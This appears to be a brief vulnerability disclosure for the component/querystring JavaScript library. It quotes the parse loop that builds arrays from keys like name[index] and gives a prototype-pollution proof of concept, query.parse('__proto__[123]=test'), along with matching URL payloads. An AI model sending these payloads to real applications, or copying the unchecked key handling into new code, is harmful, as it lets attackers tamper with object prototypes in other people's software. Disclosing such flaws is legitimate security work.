URL: https://github.com/component/querystring
var pattern = /(\w+)\[(\d+)\]/;
...
var obj = {};
var pairs = str.split('&');
for (var i = 0; i < pairs.length; i++) {
var parts = pairs[i].split('=');
var key = decode(parts[0]);
var m;
if (m = pattern.exec(key)) {
obj[m[1]] = obj[m[1]] || [];
obj[m[1]][m[2]] = decode(parts[1]);
continue;
}var query = require('querystring');
query.parse('__proto__[123]=test');
?__proto__[NUMBER]=test
?__proto__[123]=test